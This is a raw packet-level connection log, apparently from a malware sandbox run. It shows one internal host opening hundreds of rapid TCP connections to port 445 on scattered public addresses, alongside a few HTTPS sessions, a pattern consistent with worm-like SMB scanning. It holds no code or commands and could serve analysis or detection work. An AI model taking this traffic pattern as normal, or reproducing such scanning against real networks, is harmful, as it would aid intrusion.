Jul 20, 2022 13:25:11.865963936 CEST	51730	445	192.168.2.7	51.196.9.154
Jul 20, 2022 13:25:11.885257959 CEST	51732	445	192.168.2.7	95.159.163.205
Jul 20, 2022 13:25:11.885862112 CEST	51733	445	192.168.2.7	177.133.206.207
Jul 20, 2022 13:25:11.886523008 CEST	51734	445	192.168.2.7	5.0.103.116
Jul 20, 2022 13:25:11.887080908 CEST	51735	445	192.168.2.7	27.188.51.135
Jul 20, 2022 13:25:11.887700081 CEST	51736	445	192.168.2.7	98.91.140.18
Jul 20, 2022 13:25:11.888351917 CEST	51737	445	192.168.2.7	100.107.75.179
Jul 20, 2022 13:25:11.888887882 CEST	51738	445	192.168.2.7	22.192.91.7
Jul 20, 2022 13:25:11.952331066 CEST	51739	445	192.168.2.7	96.24.228.26
Jul 20, 2022 13:25:11.952915907 CEST	51740	445	192.168.2.7	220.219.89.37
Jul 20, 2022 13:25:12.049153090 CEST	51742	445	192.168.2.7	151.106.121.231
Jul 20, 2022 13:25:12.150470018 CEST	51744	445	192.168.2.7	63.8.30.191
Jul 20, 2022 13:25:12.189584970 CEST	51745	445	192.168.2.7	5.240.140.15
Jul 20, 2022 13:25:12.389796019 CEST	51748	445	192.168.2.7	137.195.64.102
Jul 20, 2022 13:25:12.390503883 CEST	51749	445	192.168.2.7	209.40.54.109
Jul 20, 2022 13:25:12.513282061 CEST	51753	445	192.168.2.7	185.15.42.33
Jul 20, 2022 13:25:12.590117931 CEST	51754	445	192.168.2.7	201.213.112.38
Jul 20, 2022 13:25:12.628907919 CEST	51755	445	192.168.2.7	179.126.68.208
Jul 20, 2022 13:25:12.738526106 CEST	51758	445	192.168.2.7	98.231.201.233
Jul 20, 2022 13:25:12.809866905 CEST	51760	445	192.168.2.7	74.234.85.230
Jul 20, 2022 13:25:12.810385942 CEST	51761	445	192.168.2.7	196.160.83.247
Jul 20, 2022 13:25:12.909553051 CEST	51762	445	192.168.2.7	164.75.104.114
Jul 20, 2022 13:25:12.910521984 CEST	51764	445	192.168.2.7	134.146.187.163
Jul 20, 2022 13:25:12.911092997 CEST	51765	445	192.168.2.7	122.73.128.249
Jul 20, 2022 13:25:12.911708117 CEST	51766	445	192.168.2.7	186.120.47.233
Jul 20, 2022 13:25:12.912290096 CEST	51767	445	192.168.2.7	117.105.227.231
Jul 20, 2022 13:25:12.912802935 CEST	51768	445	192.168.2.7	137.149.113.28
Jul 20, 2022 13:25:12.913387060 CEST	51769	445	192.168.2.7	202.1.194.213
Jul 20, 2022 13:25:12.913944960 CEST	51770	445	192.168.2.7	64.90.84.5
Jul 20, 2022 13:25:12.969907999 CEST	51771	445	192.168.2.7	155.142.9.167
Jul 20, 2022 13:25:12.989264965 CEST	51772	445	192.168.2.7	40.43.129.56
Jul 20, 2022 13:25:12.989927053 CEST	51773	445	192.168.2.7	194.174.211.249
Jul 20, 2022 13:25:13.010021925 CEST	51774	445	192.168.2.7	115.0.254.155
Jul 20, 2022 13:25:13.010551929 CEST	51775	445	192.168.2.7	113.71.4.236
Jul 20, 2022 13:25:13.011229038 CEST	51776	445	192.168.2.7	87.66.157.61
Jul 20, 2022 13:25:13.011681080 CEST	51777	445	192.168.2.7	29.150.189.10
Jul 20, 2022 13:25:13.012187958 CEST	51778	445	192.168.2.7	186.243.63.220
Jul 20, 2022 13:25:13.012856007 CEST	51779	445	192.168.2.7	8.90.167.37
Jul 20, 2022 13:25:13.013365030 CEST	51780	445	192.168.2.7	146.213.10.43
Jul 20, 2022 13:25:13.079286098 CEST	51782	445	192.168.2.7	66.135.241.232
Jul 20, 2022 13:25:13.080353975 CEST	51783	445	192.168.2.7	175.98.221.203
Jul 20, 2022 13:25:13.182277918 CEST	51785	445	192.168.2.7	64.106.34.99
Jul 20, 2022 13:25:13.259236097 CEST	51787	445	192.168.2.7	5.240.140.16
Jul 20, 2022 13:25:13.279865026 CEST	51788	445	192.168.2.7	32.26.139.220
Jul 20, 2022 13:25:13.520380974 CEST	51791	445	192.168.2.7	212.147.126.34
Jul 20, 2022 13:25:13.521050930 CEST	51792	445	192.168.2.7	147.167.78.214
Jul 20, 2022 13:25:13.579350948 CEST	51794	445	192.168.2.7	185.15.42.34
Jul 20, 2022 13:25:13.618823051 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:13.723304033 CEST	51797	445	192.168.2.7	58.184.232.32
Jul 20, 2022 13:25:13.760801077 CEST	51798	445	192.168.2.7	208.163.122.52
Jul 20, 2022 13:25:13.869488955 CEST	51801	445	192.168.2.7	198.227.3.128
Jul 20, 2022 13:25:13.919389963 CEST	51803	445	192.168.2.7	28.34.102.29
Jul 20, 2022 13:25:13.919903040 CEST	51804	445	192.168.2.7	177.242.71.21
Jul 20, 2022 13:25:14.027453899 CEST	51805	445	192.168.2.7	37.211.22.226
Jul 20, 2022 13:25:14.028099060 CEST	51806	445	192.168.2.7	219.194.11.27
Jul 20, 2022 13:25:14.028789043 CEST	51807	445	192.168.2.7	106.207.195.71
Jul 20, 2022 13:25:14.031765938 CEST	51810	445	192.168.2.7	33.214.249.0
Jul 20, 2022 13:25:14.031770945 CEST	51809	445	192.168.2.7	18.137.120.218
Jul 20, 2022 13:25:14.031877995 CEST	51811	445	192.168.2.7	99.226.247.95
Jul 20, 2022 13:25:14.031903982 CEST	51812	445	192.168.2.7	19.142.247.90
Jul 20, 2022 13:25:14.031994104 CEST	51813	445	192.168.2.7	217.230.71.214
Jul 20, 2022 13:25:14.099800110 CEST	51814	445	192.168.2.7	37.153.219.105
Jul 20, 2022 13:25:14.099849939 CEST	51816	445	192.168.2.7	207.167.102.114
Jul 20, 2022 13:25:14.099877119 CEST	51815	445	192.168.2.7	197.54.155.229
Jul 20, 2022 13:25:14.126460075 CEST	51818	445	192.168.2.7	87.189.13.29
Jul 20, 2022 13:25:14.126487970 CEST	51817	445	192.168.2.7	83.102.9.213
Jul 20, 2022 13:25:14.126590014 CEST	51819	445	192.168.2.7	190.122.176.210
Jul 20, 2022 13:25:14.128370047 CEST	51820	445	192.168.2.7	149.166.106.209
Jul 20, 2022 13:25:14.140820980 CEST	51823	445	192.168.2.7	184.161.105.146
Jul 20, 2022 13:25:14.142123938 CEST	51824	445	192.168.2.7	34.38.48.237
Jul 20, 2022 13:25:14.211437941 CEST	51825	445	192.168.2.7	154.236.143.244
Jul 20, 2022 13:25:14.211486101 CEST	51826	445	192.168.2.7	83.83.221.59
Jul 20, 2022 13:25:14.365191936 CEST	51830	445	192.168.2.7	5.240.140.17
Jul 20, 2022 13:25:14.365430117 CEST	51828	445	192.168.2.7	172.109.4.232
Jul 20, 2022 13:25:14.394685984 CEST	51831	445	192.168.2.7	50.188.99.166
Jul 20, 2022 13:25:14.642288923 CEST	51835	445	192.168.2.7	57.46.144.239
Jul 20, 2022 13:25:14.643138885 CEST	51836	445	192.168.2.7	199.57.166.244
Jul 20, 2022 13:25:14.644265890 CEST	51837	445	192.168.2.7	185.15.42.35
Jul 20, 2022 13:25:14.826855898 CEST	51841	445	192.168.2.7	30.8.46.206
Jul 20, 2022 13:25:14.874027967 CEST	51842	445	192.168.2.7	51.192.163.68
Jul 20, 2022 13:25:14.996956110 CEST	51846	445	192.168.2.7	208.151.25.62
Jul 20, 2022 13:25:15.016918898 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.016980886 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.017097950 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.017803907 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.017846107 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.029104948 CEST	51848	445	192.168.2.7	206.68.79.218
Jul 20, 2022 13:25:15.029201031 CEST	51849	445	192.168.2.7	160.165.37.65
Jul 20, 2022 13:25:15.111913919 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.117156982 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.119380951 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.119401932 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.119996071 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.123653889 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.123701096 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.123711109 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.123857021 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.143928051 CEST	51850	445	192.168.2.7	217.40.121.144
Jul 20, 2022 13:25:15.144690037 CEST	51851	445	192.168.2.7	1.79.120.110
Jul 20, 2022 13:25:15.151076078 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.151201010 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.151767969 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.151806116 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.151818991 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.151829004 CEST	443	51847	20.199.120.182	192.168.2.7
Jul 20, 2022 13:25:15.151905060 CEST	51847	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:25:15.159513950 CEST	51852	445	192.168.2.7	89.78.126.45
Jul 20, 2022 13:25:15.160646915 CEST	51853	445	192.168.2.7	126.211.204.207
Jul 20, 2022 13:25:15.162805080 CEST	51855	445	192.168.2.7	17.184.152.191
Jul 20, 2022 13:25:15.163917065 CEST	51856	445	192.168.2.7	100.125.2.97
Jul 20, 2022 13:25:15.164936066 CEST	51857	445	192.168.2.7	18.137.53.122
Jul 20, 2022 13:25:15.165996075 CEST	51858	445	192.168.2.7	159.63.253.238
Jul 20, 2022 13:25:15.230967999 CEST	51859	445	192.168.2.7	133.162.181.122
Jul 20, 2022 13:25:15.231204987 CEST	51860	445	192.168.2.7	132.120.165.120
Jul 20, 2022 13:25:15.231354952 CEST	51861	445	192.168.2.7	88.253.208.254
Jul 20, 2022 13:25:15.231493950 CEST	51862	445	192.168.2.7	56.47.80.143
Jul 20, 2022 13:25:15.243767977 CEST	51863	445	192.168.2.7	122.235.19.254
Jul 20, 2022 13:25:15.244332075 CEST	51864	445	192.168.2.7	3.161.225.222
Jul 20, 2022 13:25:15.245424032 CEST	51865	445	192.168.2.7	199.243.160.159
Jul 20, 2022 13:25:15.247236967 CEST	51866	445	192.168.2.7	215.168.11.41
Jul 20, 2022 13:25:15.260413885 CEST	51867	445	192.168.2.7	118.247.179.43
Jul 20, 2022 13:25:15.261677980 CEST	51868	445	192.168.2.7	194.115.88.24
Jul 20, 2022 13:25:15.344724894 CEST	51871	445	192.168.2.7	140.244.141.74
Jul 20, 2022 13:25:15.345227003 CEST	51872	445	192.168.2.7	62.153.100.5
Jul 20, 2022 13:25:15.428627014 CEST	51873	445	192.168.2.7	5.240.140.18
Jul 20, 2022 13:25:15.475989103 CEST	51874	445	192.168.2.7	182.110.154.211
Jul 20, 2022 13:25:15.506769896 CEST	51876	445	192.168.2.7	20.162.151.14
Jul 20, 2022 13:25:15.528430939 CEST	51521	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:15.756135941 CEST	51880	445	192.168.2.7	185.15.42.36
Jul 20, 2022 13:25:15.760845900 CEST	51881	445	192.168.2.7	93.243.18.170
Jul 20, 2022 13:25:15.761372089 CEST	51882	445	192.168.2.7	158.108.82.86
Jul 20, 2022 13:25:16.049963951 CEST	51886	445	192.168.2.7	196.162.229.20
Jul 20, 2022 13:25:16.050611019 CEST	51887	445	192.168.2.7	88.44.20.212
Jul 20, 2022 13:25:16.130114079 CEST	51891	445	192.168.2.7	30.121.77.167
Jul 20, 2022 13:25:16.170660019 CEST	51892	445	192.168.2.7	166.63.219.151
Jul 20, 2022 13:25:16.171180964 CEST	51893	445	192.168.2.7	122.6.254.140
Jul 20, 2022 13:25:16.276738882 CEST	51894	445	192.168.2.7	93.217.153.121
Jul 20, 2022 13:25:16.277286053 CEST	51895	445	192.168.2.7	202.215.61.155
Jul 20, 2022 13:25:16.291964054 CEST	51896	445	192.168.2.7	57.125.119.45
Jul 20, 2022 13:25:16.292501926 CEST	51897	445	192.168.2.7	133.206.250.173
Jul 20, 2022 13:25:16.293040991 CEST	51898	445	192.168.2.7	97.200.157.1
Jul 20, 2022 13:25:16.293564081 CEST	51899	445	192.168.2.7	104.252.226.223
Jul 20, 2022 13:25:16.294522047 CEST	51901	445	192.168.2.7	218.191.210.60
Jul 20, 2022 13:25:16.295048952 CEST	51902	445	192.168.2.7	222.232.125.51
Jul 20, 2022 13:25:16.365310907 CEST	51903	445	192.168.2.7	71.96.149.192
Jul 20, 2022 13:25:16.365833998 CEST	51904	445	192.168.2.7	26.90.163.6
Jul 20, 2022 13:25:16.366358042 CEST	51905	445	192.168.2.7	147.178.119.185
Jul 20, 2022 13:25:16.366991997 CEST	51906	445	192.168.2.7	63.174.208.128
Jul 20, 2022 13:25:16.372900963 CEST	51907	445	192.168.2.7	204.125.126.78
Jul 20, 2022 13:25:16.373476028 CEST	51908	445	192.168.2.7	102.161.107.30
Jul 20, 2022 13:25:16.374196053 CEST	51909	445	192.168.2.7	215.71.165.93
Jul 20, 2022 13:25:16.374452114 CEST	51910	445	192.168.2.7	109.181.108.56
Jul 20, 2022 13:25:16.393565893 CEST	51912	445	192.168.2.7	184.108.13.67
Jul 20, 2022 13:25:16.394046068 CEST	51913	445	192.168.2.7	136.38.97.92
Jul 20, 2022 13:25:16.481961966 CEST	51915	445	192.168.2.7	27.153.98.46
Jul 20, 2022 13:25:16.482542038 CEST	51916	445	192.168.2.7	205.134.92.254
Jul 20, 2022 13:25:16.540087938 CEST	51918	445	192.168.2.7	5.240.140.19
Jul 20, 2022 13:25:16.604773045 CEST	51920	445	192.168.2.7	146.77.187.133
Jul 20, 2022 13:25:16.615586996 CEST	51921	445	192.168.2.7	37.190.64.41
Jul 20, 2022 13:25:17.396830082 CEST	51925	445	192.168.2.7	185.15.42.37
Jul 20, 2022 13:25:17.494702101 CEST	51926	445	192.168.2.7	94.88.114.161
Jul 20, 2022 13:25:17.495214939 CEST	51927	445	192.168.2.7	23.51.237.17
Jul 20, 2022 13:25:18.422545910 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:18.625772953 CEST	49701	443	192.168.2.7	204.79.197.222
Jul 20, 2022 13:25:18.629415989 CEST	49702	443	192.168.2.7	204.79.197.200
Jul 20, 2022 13:25:19.525202036 CEST	51928	445	192.168.2.7	89.159.29.113
Jul 20, 2022 13:25:19.531208038 CEST	51929	445	192.168.2.7	22.189.60.166
Jul 20, 2022 13:25:19.531296968 CEST	51930	445	192.168.2.7	195.215.221.42
Jul 20, 2022 13:25:19.531363964 CEST	51931	445	192.168.2.7	166.235.113.49
Jul 20, 2022 13:25:19.531430960 CEST	51932	445	192.168.2.7	129.161.24.238
Jul 20, 2022 13:25:19.531675100 CEST	51934	445	192.168.2.7	145.161.80.59
Jul 20, 2022 13:25:19.531743050 CEST	51935	445	192.168.2.7	15.102.129.112
Jul 20, 2022 13:25:19.531790972 CEST	51936	445	192.168.2.7	186.139.144.107
Jul 20, 2022 13:25:19.531860113 CEST	51937	445	192.168.2.7	12.232.114.88
Jul 20, 2022 13:25:19.531935930 CEST	51938	445	192.168.2.7	157.165.165.174
Jul 20, 2022 13:25:19.532005072 CEST	51939	445	192.168.2.7	210.189.226.57
Jul 20, 2022 13:25:19.532072067 CEST	51940	445	192.168.2.7	216.181.57.213
Jul 20, 2022 13:25:19.532284975 CEST	51945	445	192.168.2.7	101.140.173.234
Jul 20, 2022 13:25:19.532300949 CEST	51944	445	192.168.2.7	106.106.16.98
Jul 20, 2022 13:25:19.532418966 CEST	51949	445	192.168.2.7	175.18.75.199
Jul 20, 2022 13:25:19.532491922 CEST	51950	445	192.168.2.7	182.191.41.103
Jul 20, 2022 13:25:19.532557964 CEST	51951	445	192.168.2.7	90.161.172.46
Jul 20, 2022 13:25:19.532632113 CEST	51952	445	192.168.2.7	156.30.221.209
Jul 20, 2022 13:25:19.532706022 CEST	51953	445	192.168.2.7	110.100.128.8
Jul 20, 2022 13:25:19.532885075 CEST	51954	445	192.168.2.7	222.207.85.170
Jul 20, 2022 13:25:19.532890081 CEST	51955	445	192.168.2.7	222.22.80.26
Jul 20, 2022 13:25:19.532922029 CEST	51956	445	192.168.2.7	145.78.164.50
Jul 20, 2022 13:25:19.534811974 CEST	51960	445	192.168.2.7	218.39.252.163
Jul 20, 2022 13:25:19.534897089 CEST	51961	445	192.168.2.7	161.183.78.212
Jul 20, 2022 13:25:19.534976006 CEST	51962	445	192.168.2.7	5.240.140.20
Jul 20, 2022 13:25:19.535964012 CEST	51964	445	192.168.2.7	124.228.207.139
Jul 20, 2022 13:25:19.536056995 CEST	51965	445	192.168.2.7	33.45.49.90
Jul 20, 2022 13:25:19.536537886 CEST	51967	445	192.168.2.7	166.162.123.89
Jul 20, 2022 13:25:19.629580021 CEST	51969	445	192.168.2.7	185.15.42.38
Jul 20, 2022 13:25:19.639420033 CEST	51970	445	192.168.2.7	22.169.164.30
Jul 20, 2022 13:25:19.639902115 CEST	51971	445	192.168.2.7	180.192.215.242
Jul 20, 2022 13:25:20.608335018 CEST	51974	445	192.168.2.7	5.240.140.21
Jul 20, 2022 13:25:20.641052961 CEST	51975	445	192.168.2.7	87.214.216.39
Jul 20, 2022 13:25:20.669439077 CEST	51976	445	192.168.2.7	157.19.133.109
Jul 20, 2022 13:25:20.669622898 CEST	51980	445	192.168.2.7	101.79.225.191
Jul 20, 2022 13:25:20.669713020 CEST	51981	445	192.168.2.7	123.143.120.119
Jul 20, 2022 13:25:20.669735909 CEST	51982	445	192.168.2.7	21.244.80.92
Jul 20, 2022 13:25:20.670120001 CEST	51983	445	192.168.2.7	1.240.113.166
Jul 20, 2022 13:25:20.670206070 CEST	51984	445	192.168.2.7	67.143.119.135
Jul 20, 2022 13:25:20.670315981 CEST	51985	445	192.168.2.7	41.126.125.82
Jul 20, 2022 13:25:20.670351028 CEST	51986	445	192.168.2.7	55.69.209.123
Jul 20, 2022 13:25:20.670423985 CEST	51987	445	192.168.2.7	174.25.139.60
Jul 20, 2022 13:25:20.670595884 CEST	51991	445	192.168.2.7	97.76.207.150
Jul 20, 2022 13:25:20.670667887 CEST	51992	445	192.168.2.7	200.55.54.251
Jul 20, 2022 13:25:20.670803070 CEST	51995	445	192.168.2.7	94.231.218.51
Jul 20, 2022 13:25:20.670875072 CEST	51996	445	192.168.2.7	149.149.4.244
Jul 20, 2022 13:25:20.670980930 CEST	51998	445	192.168.2.7	5.252.231.101
Jul 20, 2022 13:25:20.671046972 CEST	51999	445	192.168.2.7	137.194.25.135
Jul 20, 2022 13:25:20.671129942 CEST	52000	445	192.168.2.7	57.181.43.75
Jul 20, 2022 13:25:20.671192884 CEST	52001	445	192.168.2.7	130.36.236.86
Jul 20, 2022 13:25:20.671267986 CEST	52002	445	192.168.2.7	136.207.55.233
Jul 20, 2022 13:25:20.671370983 CEST	52004	445	192.168.2.7	71.87.34.6
Jul 20, 2022 13:25:20.671441078 CEST	52005	445	192.168.2.7	89.132.89.26
Jul 20, 2022 13:25:20.671509027 CEST	52006	445	192.168.2.7	36.71.174.189
Jul 20, 2022 13:25:20.671602964 CEST	52007	445	192.168.2.7	62.12.13.159
Jul 20, 2022 13:25:20.671709061 CEST	52008	445	192.168.2.7	200.191.208.49
Jul 20, 2022 13:25:20.671732903 CEST	52010	445	192.168.2.7	51.220.7.161
Jul 20, 2022 13:25:20.671857119 CEST	52012	445	192.168.2.7	65.125.191.77
Jul 20, 2022 13:25:20.671890974 CEST	52013	445	192.168.2.7	182.252.221.10
Jul 20, 2022 13:25:20.703346968 CEST	52015	445	192.168.2.7	185.15.42.39
Jul 20, 2022 13:25:20.763993025 CEST	52017	445	192.168.2.7	208.45.182.228
Jul 20, 2022 13:25:20.764816046 CEST	52019	445	192.168.2.7	100.246.108.172
Jul 20, 2022 13:25:21.599777937 CEST	80	49704	93.184.220.29	192.168.2.7
Jul 20, 2022 13:25:21.599833965 CEST	49704	80	192.168.2.7	93.184.220.29
Jul 20, 2022 13:25:21.689528942 CEST	52021	445	192.168.2.7	5.240.140.22
Jul 20, 2022 13:25:21.763557911 CEST	52022	445	192.168.2.7	55.81.23.172
Jul 20, 2022 13:25:21.779237032 CEST	52023	445	192.168.2.7	185.15.42.40
Jul 20, 2022 13:25:21.795301914 CEST	52025	445	192.168.2.7	82.163.87.215
Jul 20, 2022 13:25:21.800015926 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.800082922 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:21.800201893 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.800527096 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.800555944 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:21.807766914 CEST	52028	445	192.168.2.7	62.112.59.5
Jul 20, 2022 13:25:21.831480026 CEST	52030	445	192.168.2.7	219.101.127.226
Jul 20, 2022 13:25:21.831585884 CEST	52031	445	192.168.2.7	122.75.67.16
Jul 20, 2022 13:25:21.831832886 CEST	52032	445	192.168.2.7	13.243.241.29
Jul 20, 2022 13:25:21.831842899 CEST	52033	445	192.168.2.7	163.178.193.166
Jul 20, 2022 13:25:21.831867933 CEST	52034	445	192.168.2.7	88.21.67.97
Jul 20, 2022 13:25:21.831994057 CEST	52036	445	192.168.2.7	12.81.7.117
Jul 20, 2022 13:25:21.831999063 CEST	52035	445	192.168.2.7	182.226.112.149
Jul 20, 2022 13:25:21.832113981 CEST	52037	445	192.168.2.7	107.139.7.59
Jul 20, 2022 13:25:21.832164049 CEST	52039	445	192.168.2.7	17.195.90.61
Jul 20, 2022 13:25:21.832220078 CEST	52040	445	192.168.2.7	32.195.51.14
Jul 20, 2022 13:25:21.832285881 CEST	52041	445	192.168.2.7	28.170.230.123
Jul 20, 2022 13:25:21.832370996 CEST	52043	445	192.168.2.7	104.208.7.78
Jul 20, 2022 13:25:21.832514048 CEST	52046	445	192.168.2.7	123.252.12.183
Jul 20, 2022 13:25:21.832525015 CEST	52044	445	192.168.2.7	199.37.147.64
Jul 20, 2022 13:25:21.832593918 CEST	52048	445	192.168.2.7	218.36.210.151
Jul 20, 2022 13:25:21.832711935 CEST	52051	445	192.168.2.7	195.163.111.221
Jul 20, 2022 13:25:21.832781076 CEST	52053	445	192.168.2.7	124.13.237.140
Jul 20, 2022 13:25:21.832838058 CEST	52054	445	192.168.2.7	6.199.198.95
Jul 20, 2022 13:25:21.832897902 CEST	52055	445	192.168.2.7	87.194.92.172
Jul 20, 2022 13:25:21.832942963 CEST	52056	445	192.168.2.7	115.22.73.123
Jul 20, 2022 13:25:21.832998991 CEST	52057	445	192.168.2.7	158.40.253.90
Jul 20, 2022 13:25:21.833048105 CEST	52058	445	192.168.2.7	3.15.86.54
Jul 20, 2022 13:25:21.833110094 CEST	52059	445	192.168.2.7	56.159.227.122
Jul 20, 2022 13:25:21.833254099 CEST	52063	445	192.168.2.7	59.175.1.164
Jul 20, 2022 13:25:21.892524004 CEST	52065	445	192.168.2.7	47.5.19.48
Jul 20, 2022 13:25:21.893712044 CEST	52067	445	192.168.2.7	26.36.188.141
Jul 20, 2022 13:25:21.950092077 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:21.950643063 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.953097105 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.953135967 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:21.955754995 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:21.955784082 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.025089979 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.025156021 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.025217056 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.025269985 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.026173115 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.026196957 CEST	443	52027	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.026216030 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.026294947 CEST	52027	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.029408932 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.029441118 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.029546022 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.029824018 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.029839039 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.170922041 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.172832966 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.173274994 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.173288107 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.175368071 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.175384045 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.249448061 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.249532938 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.249605894 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.249644995 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.258666992 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.258694887 CEST	443	52068	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.258732080 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.258811951 CEST	52068	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.262044907 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.262089968 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.262188911 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.262613058 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.262625933 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.403616905 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.403757095 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.404350042 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.404361010 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.406999111 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.407021999 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.479372025 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.479444027 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.479535103 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.479545116 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.479655027 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.479672909 CEST	443	52069	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.479778051 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.479784966 CEST	52069	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.482388020 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.482439041 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.482531071 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.482868910 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.482892990 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.626544952 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.626698971 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.627451897 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.627470016 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.630054951 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.630073071 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.711620092 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.711752892 CEST	443	52070	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:22.711838007 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.711865902 CEST	52070	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:22.711985111 CEST	52070	443	192.168.2.7	20.238.103.94
